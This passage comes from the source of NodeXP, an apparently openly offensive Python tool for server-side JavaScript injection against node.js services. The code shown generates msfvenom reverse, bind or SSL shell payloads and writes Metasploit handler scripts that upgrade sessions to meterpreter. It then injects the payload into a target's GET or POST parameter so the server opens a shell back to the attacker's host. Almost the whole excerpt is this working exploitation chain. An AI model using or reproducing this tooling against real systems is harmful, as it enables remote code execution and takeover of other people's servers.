PAYLOAD PATH not defined!' 55 | verbosity.print_message(message,settings.print_info) 56 | payload_path = payload_init.get_input("[?] Please, set the PAYLOAD PATH.\n - ","PAYLOAD PATH") 57 | settings.payload_path = '%s/nodejs_payload.js' %payload_path 58 | settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) 59 | print settings.payload_path 60 | else: 61 | input_answer = settings.payload_path 62 | payload_path = settings.payload_path 63 | settings.payload_path = '%s/nodejs_payload.js' %payload_path 64 | settings.payload_path = re.sub(r"\/+", "/", settings.payload_path) 65 | 66 | if settings.rc_path == 0: 67 | message = Fore.RED + '[!] .RC SCRIPT PATH not defined!' 68 | verbosity.print_message(message,settings.print_info) 69 | rc_path = payload_init.get_input("[?] Please, set the .RC SCRIPT PATH.\n - ","RC SCRIPT PATH") 70 | settings.rc_path = '%s/nodejs_payload.js' %rc_path 71 | settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) 72 | print settings.rc_path 73 | else: 74 | input_answer = settings.rc_path 75 | rc_path = settings.rc_path 76 | settings.rc_path = '%s/nodejs_shell.rc' %rc_path 77 | settings.rc_path = re.sub(r"\/+", "/", settings.rc_path) 78 | 79 | if settings.encoding[0] == 'None': 80 | message = Fore.RED + '[!] ENCODING not defined!' 81 | verbosity.print_message(message,settings.print_info) 82 | while settings.encoding[0] == 'None': 83 | settings.encoding = prompt.yesOrNo("[?] Please, type a valid value for payload encoding.\n"+ Fore.YELLOW + "[i] Enter 'y' for 'yes' or 'n' for 'no'.\n" + Fore.WHITE + " - ",Fore.GREEN + "[i] Payload will be encoded..",Fore.GREEN + "[i] Payload will be unecoded") 84 | 85 | 86 | # End process 87 | message = Fore.GREEN + '[!] Exploitation variables successfully defined!\n' + Fore.YELLOW + '[>]' 88 | verbosity.print_message(message,settings.print_info) 89 | 90 | if start == True: 91 | start_exploitation() 92 | 93 | except Exception as e: 94 | print(e) 95 | print(Fore.RED + "[!] ERROR: %s" %e) 96 | verbosity.error_info(e) 97 | 98 | def start_exploitation(): 99 | try: 100 | message = Fore.YELLOW + '\n[<] Generate exploitation files and run metasploit.' 101 | verbosity.print_message(message,settings.print_info) 102 | if settings.encoding[0] == 1: 103 | if settings.msf_payload == settings.msf_payload_reverse: 104 | proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() 105 | else: 106 | proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -e " + settings.encode + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() 107 | with open (settings.payload_path, "r+") as content_file: 108 | data = content_file.readlines() 109 | data = ''.join(data) 110 | data_string = str(data) 111 | data_string = data_string.lstrip() 112 | #data_string = base64.b64encode(data_string) 113 | data_string = data_string.encode('hex') 114 | file_data = content_file.read() 115 | content_file.seek(0,0) 116 | content_file.write(settings.append_top + data_string + settings.append_bottom) 117 | settings.reverse_shell_payload = settings.append_top + data_string + settings.append_bottom 118 | 119 | # Generate payload without encoding 120 | ### UNENCODED CASE 121 | else: 122 | if settings.msf_payload == settings.msf_payload_reverse: 123 | proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LHOST=" + settings.lhost + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() 124 | else: 125 | proc = subprocess.Popen("msfvenom -p " + settings.msf_payload + " LPORT=" + str(settings.lport) + " -o " + settings.payload_path + " >/dev/null 2>&1 ", shell=True).wait() 126 | with open (settings.payload_path, "r+") as content_file: 127 | data = content_file.readlines() 128 | data = ''.join(data) 129 | data_string = str(data) 130 | data_string = data_string.lstrip() 131 | content_file.seek(0,0) 132 | payload = content_file.write(data) 133 | settings.reverse_shell_payload = data_string 134 | 135 | message = Fore.GREEN + "[i] Successfully generated payload file! [" + settings.payload_path + "]" 136 | verbosity.print_message(message, settings.print_info) 137 | 138 | # Remove and regenerate spool file 139 | settings.spool_file = settings.rc_path +".output.txt" 140 | # Check if spool file already exists 141 | if os.path.exists(settings.spool_file) == True: 142 | try: 143 | os.remove(settings.spool_file) 144 | create_spool_file = open(settings.spool_file,"w+") 145 | message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]"%settings.spool_file 146 | verbosity.print_message(message, settings.print_info) 147 | except Exception as e: 148 | print(Fore.RED + "[!] ERROR: %s" %e) 149 | verbosity.error_info(e) 150 | else: 151 | try: 152 | create_spool_file = open(settings.spool_file,"w+") 153 | message = Fore.GREEN + "[i] Successfully generated metasploit log file (spool file) [%s]"%settings.spool_file 154 | verbosity.print_message(message, settings.print_info) 155 | except Exception as e: 156 | print(Fore.RED + "[!] ERROR: %s" %e) 157 | verbosity.error_info(e) 158 | # .RC SCRIPT generation 159 | with open(settings.rc_path, 'w+') as filewrite: 160 | if settings.msf_payload == settings.msf_payload_reverse: 161 | filewrite.write("use exploit/multi/handler\n" 162 | "set payload " + settings.msf_payload + "\n" 163 | "set lhost "+ settings.lhost + "\n" 164 | "set lport " + str(settings.lport) + "\n" 165 | "set ExitOnSession true \n" 166 | "set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" 167 | "spool " + settings.spool_file +"\n" 168 | "exploit -j -z\n\n") 169 | elif settings.msf_payload == settings.msf_payload_bind: 170 | filewrite.write("use exploit/multi/handler\n" 171 | "set payload " + settings.msf_payload + "\n" 172 | "set rhost " + settings.rhost + "\n" 173 | "set lport " + str(settings.lport) + "\n" 174 | "set ExitOnSession true \n" 175 | #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" 176 | "spool " + settings.spool_file + "\n" 177 | "exploit -j -z\n\n") 178 | else: 179 | filewrite.write("use exploit/multi/handler\n" 180 | "set payload " + settings.msf_payload + "\n" 181 | "set lhost " + settings.lhost + "\n" 182 | "set lport " + str(settings.lport) + "\n" 183 | "set ExitOnSession true \n" 184 | #"set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter' \n" 185 | "spool " + settings.spool_file + "\n" 186 | "exploit -j -z\n\n") 187 | 188 | message = Fore.GREEN + "[i] Successfully generated .rc script! [%s]"%settings.rc_path 189 | verbosity.print_message(message, settings.print_info) 190 | 191 | # >/dev/null 2>&1 -> sends the output to garbage, 192 | # /dev/null is a black hole where any data sent will be discarded. Standar output (1) and standar error output (2) will be send there. 193 | message = Style.DIM + "[-] Opening metasploit console..." 194 | verbosity.print_message(message, settings.print_info) 195 | msfconsole = os.system("gnome-terminal -e 'bash -c \"msfconsole -r %s; exec bash\"'; > /root/Desktop/logs.txt"%settings.rc_path) 196 | 197 | message = Fore.GREEN + "[i] Successfully loaded metasploit!" 198 | verbosity.print_message(message, settings.print_info) 199 | 200 | if settings.msf_payload != settings.msf_payload_bind: 201 | exploitation_options_msg = (Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s:%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " %(settings.lhost,settings.lport)) 202 | exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' 203 | next_step = options.exploitation_options(exploitation_options_msg,exploitation_options_invalid_input_msg) 204 | else: 205 | exploitation_options_msg = (Fore.WHITE + "[?] Please, select options above:\n (1) Upload the payload at '%s' (current metasploit session); type: '1'\n (2) If you want to exit; type: '2'\n - " % (settings.pre_url)) 206 | exploitation_options_invalid_input_msg = Fore.RED + 'Sorry, invalid input. Please, try again.' 207 | next_step = options.exploitation_options(exploitation_options_msg, exploitation_options_invalid_input_msg) 208 | 209 | if next_step == 2: start_exploitation() 210 | elif next_step == 3: initialize_payload_options() 211 | 212 | except Exception as e: 213 | print(Fore.RED + "[!] ERROR: %s" %e) 214 | verbosity.error_info(e) 215 | 216 | -------------------------------------------------------------------------------- /src/core/exploitation/exploitation.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/exploitation/exploitation.pyc -------------------------------------------------------------------------------- /src/core/exploitation/options.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.interfaces.functions.interfaces as interfaces 12 | import src.core.init.settings as settings 13 | import src.core.exploitation.upload as upload 14 | import src.interfaces.options.verbosity as verbosity 15 | import urllib 16 | import urllib2 17 | from colorama import Fore, Back, Style, init 18 | import time 19 | 20 | def exploitation_options(msg,error_msg): 21 | option = str(raw_input(msg)) 22 | try: 23 | if option == '1': 24 | read_file = upload.read_file() 25 | read_spool = upload.read_spool() 26 | if read_spool == True: 27 | message = Fore.GREEN + '[!] Metasploit is already set. Uploading the shell payload!' 28 | verbosity.print_message(message, settings.print_info) 29 | 30 | # Initialize payload 31 | # GET case initalize payload 32 | if settings.request_method == 0: 33 | url = settings.pre_url + '?' + settings.initial_inject_here 34 | settings.reverse_shell_payload = urllib.quote(settings.reverse_shell_payload) 35 | #print settings.reverse_shell_payload 36 | parameter = url.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) 37 | print parameter 38 | 39 | # POST case initialize payload 40 | else: 41 | parameter = settings.initial_inject_here.replace('[INJECT_HERE]', settings.reverse_shell_payload, 1) 42 | 43 | settings.exploitation_state = 1 44 | # .. wait until spool is ready and upload payload... 45 | 46 | # Reverse shell... 47 | if settings.msf_payload != settings.msf_payload_bind: 48 | interfaces.make_request(parameter) 49 | 50 | # Bind shell... 51 | if settings.msf_payload == settings.msf_payload_bind: 52 | if settings.request_method == 0: 53 | # Request with payload (GET) 54 | payload_request = urllib2.Request(parameter) 55 | urllib2.urlopen(payload_request) 56 | else: 57 | # Request with payload (POST) 58 | payload_request = urllib2.Request(settings.url,data=parameter) 59 | urllib2.urlopen(payload_request) 60 | 61 | # Do the request to RHOST 62 | rhost_port = settings.prefix_rhost + ":" + settings.lport 63 | bind_request = urllib2.Request(rhost_port) 64 | urllib2.urlopen(bind_request) 65 | 66 | # Started TCP handler on 67 | print(Fore.GREEN + '[i] Successfully uploaded payload! In case of reverse shell, an upgraded meterpreter shell is successfully established :)') 68 | exit(Fore.GREEN + "[i] Quiting 'Nodexp'") 69 | elif option == '2': 70 | exit(Fore.GREEN + "[i] Quiting 'Nodexp'") 71 | else: 72 | print(error_msg) 73 | return exploitation_options(msg,error_msg) 74 | except Exception as e: 75 | print(Fore.RED + '[!] ERROR: %s' %e) 76 | verbosity.error_info(e) 77 | -------------------------------------------------------------------------------- /src/core/exploitation/options.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/exploitation/options.pyc -------------------------------------------------------------------------------- /src/core/exploitation/upload.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import src.interfaces.options.verbosity as verbosity 13 | from colorama import Fore, Back, Style, init 14 | from time import sleep 15 | 16 | def read_file(): 17 | # Read payload and put it on a global variable.. 18 | try: 19 | with open(settings.payload_path, 'r') as myfile: 20 | settings.payload = myfile.read() 21 | return True 22 | except Exception as e: 23 | print(Fore.RED + "[!] ERROR: %s" %e) 24 | verbosity.error_info(e) 25 | return False 26 | 27 | def read_spool(): 28 | # Read spool file untill metasploit session made.. 29 | # keyword = False 30 | try: 31 | counter = 0 32 | with open(settings.spool_file, 'r') as spool: 33 | message = Fore.YELLOW + "\n[i] Waiting for Metasploit to be ready!" 34 | verbosity.print_message(message, settings.print_info) 35 | 36 | # Bind shell case ... 37 | if settings.msf_payload == settings.msf_payload_bind: 38 | while not 'Started bind TCP handler against %s:%s' % (settings.rhost, settings.lport) in spool.read(): 39 | spool.seek(0,0) 40 | message = Fore.YELLOW + "..." 41 | verbosity.print_message(message, settings.print_info) 42 | sleep(5) 43 | counter += 1 44 | if counter > 10: 45 | exit(Fore.RED + "[!] ERROR: Waiting for connection response timeout. The given IP address might be wrong. Check the metasploit terminal window (msfconsole) for possible errors.") 46 | return True 47 | 48 | # Reverse shell case ... 49 | elif settings.msf_payload == settings.msf_payload_reverse: 50 | while not 'Started reverse TCP handler on %s:%s' % (settings.lhost, settings.lport) in spool.read(): 51 | spool.seek(0, 0) 52 | message = Fore.YELLOW + "..." 53 | verbosity.print_message(message, settings.print_info) 54 | sleep(5) 55 | counter += 1 56 | if counter > 10: 57 | exit(Fore.RED + "[!] ERROR: Waiting for connection response timeout. The given IP address might be wrong. Check the metasploit terminal window (msfconsole) for possible errors.") 58 | print(Fore.GREEN + "[i] Metasploit is ready!\n" + Fore.YELLOW + "[i] Waiting for payload to be uploaded..") 59 | return True 60 | 61 | # Reverse ssl shell case ... 62 | else: 63 | while not 'Started reverse SSL handler on %s:%s' % (settings.lhost, settings.lport) in spool.read(): 64 | spool.seek(0, 0) 65 | message = Fore.YELLOW + "..." 66 | verbosity.print_message(message, settings.print_info) 67 | sleep(5) 68 | counter += 1 69 | if counter > 10: 70 | exit(Fore.RED + "[!] ERROR: Waiting for connection response timeout. The given IP address might be wrong. Check the metasploit terminal window (msfconsole) for possible errors.") 71 | print(Fore.GREEN + "[i] Metasploit is ready!\n" + Fore.YELLOW + "[i] Waiting for payload to be uploaded..") 72 | return True 73 | 74 | 75 | except Exception as e: 76 | print(Fore.RED + "[!] ERROR: %s" %e) 77 | verbosity.error_info(e) 78 | return False 79 | 80 | -------------------------------------------------------------------------------- /src/core/exploitation/upload.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/exploitation/upload.pyc -------------------------------------------------------------------------------- /src/core/init/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | pass 12 | -------------------------------------------------------------------------------- /src/core/init/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/init/__init__.pyc -------------------------------------------------------------------------------- /src/core/init/flags_init.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import argparse 12 | import settings 13 | import src.interfaces.options.prompt as prompt 14 | import src.interfaces.options.verbosity as verbosity 15 | import src.core.exploitation.exploitation as exploitation 16 | from colorama import init, Fore, Back, Style 17 | init(autoreset=True) 18 | 19 | def parse_input(): 20 | try: 21 | parse = argparse.ArgumentParser(add_help=False,description="Arguments Help Manual For NodeXP - Server Side Javascript Injection Tool") 22 | 23 | # Initial detection arguments 24 | initial = parse.add_argument_group('Initial arguments') 25 | initial.add_argument('--url', '-u', dest='url', action='store', required=True, help='Enter the desirable URL. If it has GET parameters enter "[INJECT_HERE]" on the parameter you want to inject on the --url. If it uses POST data then you have to use --pdata flag. \n -u="http://test.com/?parameter=[INJECT_HERE]"') 26 | initial.add_argument('--pdata', '-p', dest='post_data', action='store', help='Enter the POST data and place "[INJECT_HERE]" on the parameter you want to inject on. \n-p="parameter=[INJECT_HERE]"') 27 | initial.add_argument('--cookies', '-c', dest='cookies', action='store', help='Enter cookies on your request headers.') 28 | initial.add_argument('--tech', '-t', dest='technique', action='store', choices=['blind', 'result'], default='result', help='Select an injection technique between blind injection and results based injection. Keys: blind, result. Default value = result') 29 | 30 | # Results based injection arguments 31 | results = parse.add_argument_group('Results based injection arguments') 32 | results.add_argument('--rand', '-r', dest='rand', action='store', choices=['char', 'num', 'all'], default='char', help='Select the type of random generated string between characters only, numbers only or both. Keys: char, num, all. Default value = char') 33 | results.add_argument('--digits', '-d', dest='dig', action='store', type=int, choices=range(16, 48), metavar="[16-48]", default=16, help='Enter the number of digits or chars of the random generated string, between 16 to 48. Default value = 16') 34 | 35 | # Blind based injection arguments 36 | blind = parse.add_argument_group('Blind injection arguments') 37 | blind.add_argument('--time', '-time', dest='time_threshold', action='store', type=int, choices=range(100, 20000), metavar="[100-20000]", default=250, help="Time threshold on blind injection in millieseconds. Default value = 250") 38 | blind.add_argument('--loop', '-l', dest='loop', action='store', type=int, choices=range(1, 1000), metavar="[1-1000]", default=10, help="Number of requests done to specify the average response time. Be careful, big values may be considered as brute force or dos attacks by website. Default value = 10") 39 | blind.add_argument('--email_length', '-elen', dest='elen', action='store', type=int, choices=range(1, 24), metavar="[1-24]", default=9, help="Length of the characters given as input to the vulnerable parameter, ex. email='testing@gmail.com'. Default value = 9") 40 | blind.add_argument('--num_length', '-nlen', dest='nlen', action='store', type=int, choices=range(1, 10), metavar="[1-10]", default=2, help="Length of the characters given as input to the vulnerable parameter. ex. tel=2102589834. Default value = 2") 41 | blind.add_argument('--char_length', '-clen', dest='clen', action='store', type=int, choices=range(1, 40), metavar="[1-40]", default=10, help="Length of the characters given as input to the vulnerable parameter. ex. input='My Surname'. Default value = 10") 42 | blind.add_argument('--time_factor', '-time_factor', dest='time_factor', action='store', type=restricted_float, default=2, metavar="[1.0-4.0]", help="Time factor for minimum time threshold. Default value = 2") 43 | blind.add_argument('--valid_loop', '-valid_loop', dest='validation_loop', action='store', type=int, choices=range(5, 100), default=10, metavar="[2-100]", help="Number of requests done to specify the validity of the blind injection results. Be careful, big values may be considered as brute force or dos attacks by webservers. Default value = 10") 44 | 45 | # Exploitation arguments 46 | exploit = parse.add_argument_group('Exploitation arguments') 47 | exploit.add_argument('--payload_path', '-pp', dest='payload_path', action='store', type=int, choices=[0, 1], default=1, help='Set payload path to default or type new payload path later. The payload name will be \'nodejs_payload.js\'. Default value = 1 (cwd/scripts/)\nex. -pp=1') 48 | exploit.add_argument('--rc_path', '-rp', dest='rc_path', action='store', type=int, choices=[0, 1], default=1, help='Set .rc script path to default or type new .rc script path later. The .rc script name will be \'nodejs_shell.rc\' Default value = 1 (cwd/scripts/)\nex. -rp=1"') 49 | #exploit.add_argument('--rhost', '-rh', dest='rhost', action='store', help='Remote host ip address (bind shell case).\nex. -rh="192.168.1.1"') 50 | exploit.add_argument('--lhost', '-lh', dest='lhost', action='store', help='Local host ip address (bind shell case).\nex. -lh="192.168.1.1"') 51 | exploit.add_argument('--lport', '-lp', dest='lport', action='store', help='Ip address port number.\nex. -lp="6666"') 52 | exploit.add_argument('--encode', '-enc', dest='encode', action='store', type=int, choices=[0, 1], default=1, help='Encoding on your payload. Default value = 0\nex. -enc=1') 53 | exploit.add_argument('--shell', '-sh', dest='shell', action='store', choices=['reverse', 'bind', 'ssl'], default='reverse', help='Select an option between reverse, bind and ssl shell. Keys: reverse, bind, ssl. Default value = reverse\nex. -sh=bind') 54 | 55 | # Printing arguments 56 | printing = parse.add_argument_group('Printing arguments') 57 | printing.add_argument('--diff', '-diff', dest='diff', action='store', type=int, choices=[0, 1], default=1, help="Print the HTML differences of the responses between valid and malicious requests. Default value = 1") 58 | 59 | printing.add_argument('--info', '-info', dest='print_info', action='store', type=int, choices=[0, 1], default=1, help="Print additional info. Default value = 1") 60 | 61 | # Other arguments 62 | other = parse.add_argument_group('Other arguments') 63 | other.add_argument('-h', '--help', action='help', default=argparse.SUPPRESS, help='Show this help message and exit.') 64 | #other.add_argument('-f', '-superfast', dest='superfast', action='store', type=int, choices=[0, 1], default=0, help="Execute detection and exploitation functions and try for meterpreter shell with minimum feedback to the user.") 65 | 66 | #[future work] Additional attacks.. 67 | # Remove this parameter 68 | #parse.add_argument('--inc', '-i', dest='include', action='store', choices=['SSJI','XSS','REGEXDOS','COMMAND_INJECTION','HPP','DOS','BRUTE_FORCE','all'], default='SSJI', help='Enter the desirable Attack that you want to include. If you want to include all the attacks then enter --inc=all . \nAvailable attacks: Server Side Javascript Injection, Cross Site Scripting, Regural Expresion DOS, Command Injection-OS Injection, HTTP Pollution, DOS, Brute force. \nKeys: SSJI,XSS,REGEXDOS,COMMAND_INJECTION,HPP,DOS,BRUTE_FORCE. \nDefault Attack: SSJI.') 69 | # Remove this parameter 70 | #parse.add_argument('--exc', '-x', dest='exclude', action='store', choices=['SSJI','XSS','REGEXDOS','COMMAND_INJECTION','HPP','DOS','BRUTE_FORCE','all'], help='Enter the desirable Attack that you want to exclude. If you want to exclude all the attacks then enter --exc=all . \nAvailable attacks: Server Side Javascript Injection, Cross Site Scripting, Regural Expresion DOS, Command Injection-OS Injection, HTTP Pollution, DOS, Brute force. \nKeys: SSJI,XSS,REGEXDOS,COMMAND_INJECTION,HPP,DOS,BRUTE_FORCE. \nDefault Attack: SSJI.') 71 | #printing.add_argument('--debug', '-debug', dest='debug_msgs', action='store', type=int, choices=[0, 1], default=0, help="Print debug info. Default value = 0") 72 | #printing.add_argument('--progress', '-prog', dest='prog_msgs', action='store', type=int, choices=[0, 1], default=1, help="Print tools progress info. Default value = 1") 73 | 74 | args = parse.parse_args() 75 | 76 | return args 77 | 78 | except Exception as e: 79 | print(Fore.RED + "[!] ERROR: %s" %e) 80 | verbosity.error_info(e) 81 | 82 | def restricted_float(x): 83 | x = float(x) 84 | if x < 1.0 or x > 2.5: 85 | raise argparse.ArgumentTypeError("-Input %r not in range [1.0, 2.5]"%(x,)) 86 | return x 87 | 88 | def initialize_input(args): 89 | try: 90 | # Printing arguments 91 | settings.print_info = args.print_info 92 | settings.print_diff = args.diff 93 | 94 | # Initial detection arguments 95 | settings.url = format(args.url) 96 | if args.post_data != None: 97 | settings.pdata = format(args.post_data) 98 | if args.cookies != 'None': 99 | settings.cookie = format(args.cookies) 100 | if args.technique != 'None': 101 | settings.technique = format(args.technique) 102 | verbosity.print_message(Fore.GREEN + Style.BRIGHT + '[i] Injection technique set to "%s based"' %(settings.technique), settings.print_info) 103 | 104 | # Results based injection arguments 105 | settings.rand = format(args.rand) 106 | settings.dig = format(args.dig) 107 | settings.initialize_rands() 108 | 109 | # Blind injection arguments 110 | settings.time_threshold = args.time_threshold # --> #time# in dictionary 111 | settings.loop = args.loop 112 | settings.elen = args.elen 113 | settings.nlen = args.nlen 114 | settings.clen = args.clen 115 | settings.initialize_blind_rands() 116 | settings.margin_factor = args.time_factor 117 | settings.validation_loop = args.validation_loop 118 | 119 | # Exploitation arguments 120 | settings.payload_path = args.payload_path 121 | settings.rc_path = args.rc_path 122 | if format(args.shell) == 'bind': 123 | settings.msf_payload = settings.msf_payload_bind 124 | elif format(args.shell) == 'reverse': 125 | settings.msf_payload = settings.msf_payload_reverse 126 | else: 127 | settings.msf_payload = settings.msf_payload_reverse_ssl 128 | 129 | # Initialize exploitation paths 130 | if settings.payload_path == 1: 131 | settings.payload_path = settings.cwd + '/scripts' 132 | if settings.rc_path == 1: 133 | settings.rc_path = settings.cwd + '/scripts' 134 | 135 | settings.lhost = str(args.lhost) 136 | settings.lport = str(args.lport) 137 | settings.encoding[0] = args.encode 138 | 139 | #[future work] Additional attacks.. 140 | # settings.include = format(args.include) 141 | #if args.exclude != 'None': 142 | # settings.exclude = format(args.exclude) 143 | 144 | except Exception as e: 145 | print(Fore.RED + "[!] ERROR: %s" %e) 146 | verbosity.error_info(e) 147 | 148 | def concat_url(url_length,tempurl_array): 149 | url_without_query_parameters = '' 150 | for index in range(url_length): 151 | url_without_query_parameters += "%s/"%tempurl_array[index] 152 | return url_without_query_parameters 153 | 154 | def request_method(): 155 | try: 156 | #POST & POST with GET PARAMETERS BLENDED! 157 | if settings.pdata != 'None': 158 | message = (Fore.GREEN + Style.BRIGHT + '[i] POST data found!') 159 | verbosity.print_message(message, settings.print_info) 160 | #tempurl_array = settings.url.split("/") 161 | # check if both get and post inserted 162 | if "?" in settings.url: 163 | # Ask to remove query parameter(s) 164 | prompt_message = Fore.WHITE + Style.BRIGHT + "[?] Query parameter(s) found on POST request. Do you want to remove query request(s) from URL?\n" 165 | options_message = Style.DIM + Fore.WHITE + "[-] Enter 'y' for 'yes' or 'n' for 'no'.\n" 166 | if settings.print_info == 1: 167 | prompt_message += options_message 168 | yes_message = Style.DIM + Fore.WHITE + "[-] Removing query parameters." 169 | no_message = Style.DIM + Fore.WHITE + "[-] Continue with query parameters." 170 | answer = prompt.yesOrNo(prompt_message,yes_message,no_message) 171 | # Remove case 172 | if answer[1] == 1: 173 | tempurl_array = settings.url.split("?") 174 | url_length = len(tempurl_array)-1 175 | edited_url = concat_url(url_length,tempurl_array) 176 | settings.url = edited_url 177 | print answer[0] 178 | 179 | message = (Fore.WHITE + Style.DIM + '[-] Will execute POST REQUESTS on "%s" with POST DATA "%s"'%(settings.url, settings.pdata)) 180 | verbosity.print_message(message,settings.print_info) 181 | 182 | # URL - (pre_url and url are the same on post scenario) 183 | settings.pre_url = settings.url 184 | 185 | # inject_here and pdata are the same on post scenario 186 | settings.initial_inject_here = settings.pdata 187 | settings.inject_here = settings.pdata 188 | settings.initial_parameter = settings.pdata 189 | settings.request_method = 1 190 | #GET 191 | else: 192 | # split get parameters from url 193 | print(Fore.GREEN + Style.BRIGHT + '[i] GET parameter found!') 194 | message = (Style.DIM + Fore.WHITE + '[-] Will execute GET REQUESTS on "'+ settings.url + '".') 195 | verbosity.print_message(message,settings.print_info) 196 | 197 | tempurl_array = settings.url.split("?") 198 | # URL without the get parameters 199 | settings.pre_url = tempurl_array[0] 200 | 201 | # GET parameters - with [INJECT_HERE] 202 | settings.initial_inject_here = tempurl_array[1] 203 | settings.inject_here = tempurl_array[1] 204 | 205 | # Whole URL - with [INJECT_HERE] 206 | settings.initial_parameter = settings.url 207 | settings.pdata = settings.initial_parameter 208 | settings.request_method = 0 209 | except Exception as e: 210 | print(Fore.RED + "[!] ERROR: %s" %e) 211 | verbosity.error_info(e) 212 | 213 | -------------------------------------------------------------------------------- /src/core/init/flags_init.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/esmog/nodexp/0a00c067505312b5ef69a0e4a4ff67aa4885ce76/src/core/init/flags_init.pyc -------------------------------------------------------------------------------- /src/core/init/payload_init.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # encoding: UTF-8 3 | 4 | """ 5 | This file is part of NodeXP, a detection & exploitation tool for 6 | node.js services (https://github.com/esmog/nodexp) created by 7 | Antonaropoulos Dimitrios (@esmog). 8 | For more info about NodeXP see the 'README.md' file. 9 | """ 10 | 11 | import src.core.init.settings as settings 12 | import src.interfaces.options.prompt as prompt 13 | import src.interfaces.options.verbosity as verbosity 14 | import sys 15 | import os 16 | import re 17 | import subprocess 18 | #import base64 19 | from colorama import Fore, Back, Style, init 20 | from os.path import expanduser 21 | import socket 22 | 23 | def checkLPORT(portnumber): 24 | try: 25 | port = int(portnumber) 26 | if port < 65536 and port >= 0: 27 | message = (Fore.GREEN + "[!] Setting local port: 'LPORT' = '%d'" %(port)) 28 | verbosity.print_message(message, settings.print_info) 29 | return port 30 | else: 31 | print(Fore.RED + "[!] ERROR: Port number range exceeded.") 32 | return get_input("[?] Please, set your local port.\n - ","LPORT") 33 | except ValueError: 34 | print(Fore.RED + "[!] ERROR: Input is not an integer.") 35 | return get_input("[?] Please, set your local port.\n - ","LPORT") 36 | 37 | def checkLHOST(ip): 38 | try: 39 | Setting_ip = ip.split('.') 40 | if len(Setting_ip) != 4: 41 | print(Fore.RED + "[!] ERROR: Input is not a valid ip address") 42 | return get_input("[?] Please, set your local host ip.\n - ","LHOST") 43 | else: 44 | socket.inet_aton(ip) 45 | message = (Fore.GREEN + "[!] Setting local host ip: 'LHOST' = '%s'" %(ip)) 46 | verbosity.print_message(message, settings.print_info) 47 | return ip 48 | except socket.error: 49 | print(Fore.RED + "[!] ERROR: Input is not a valid ip address") 50 | return get_input("[?] Please, set your local host ip.\n - ","LHOST") 51 | 52 | def pathExistenceOptions(options,path,flag): 53 | # Default cases 1,2,3 ... 54 | if options == '1': 55 | try: 56 | path = settings.home_directory 57 | return path 58 | except Exception as e: 59 | print(Fore.RED + "[!] ERROR: %s" %e) 60 | verbosity.error_info(e) 61 | elif options == '2': 62 | try: 63 | path = "%s/Desktop" %(settings.home_directory) 64 | check = os.path.exists(path) 65 | if check == True: 66 | return path 67 | else: 68 | exit(Fore.RED + "[!]ERROR: Default path does not exist!") 69 | except Exception as e: 70 | print(Fore.RED + "[!] ERROR: %s" %e) 71 | verbosity.error_info(e) 72 | elif options == '3': 73 | try: 74 | path = "%s/Documents" %(settings.home_directory) 75 | check = os.path.exists(path) 76 | if check == True: 77 | return path 78 | else: 79 | exit(Fore.RED + "[!]ERROR: Default path does not exist!") 80 | except Exception as e: 81 | print(Fore.RED + "[!] ERROR: %s" %e) 82 | verbosity.error_info(e) 83 | # Retype path case... 84 | else: 85 | # Setting new path.. 86 | # ..Start over with options = path value 87 | path_full_existense = checkPathExistence(options,flag) 88 | return path_full_existense 89 | 90 | def checkPathExistenceInHomeDirectory(flag,path): 91 | try: 92 | print(Fore.YELLOW + "[i] Checking if path exist in home directory ...") 93 | path = "%s/%s" 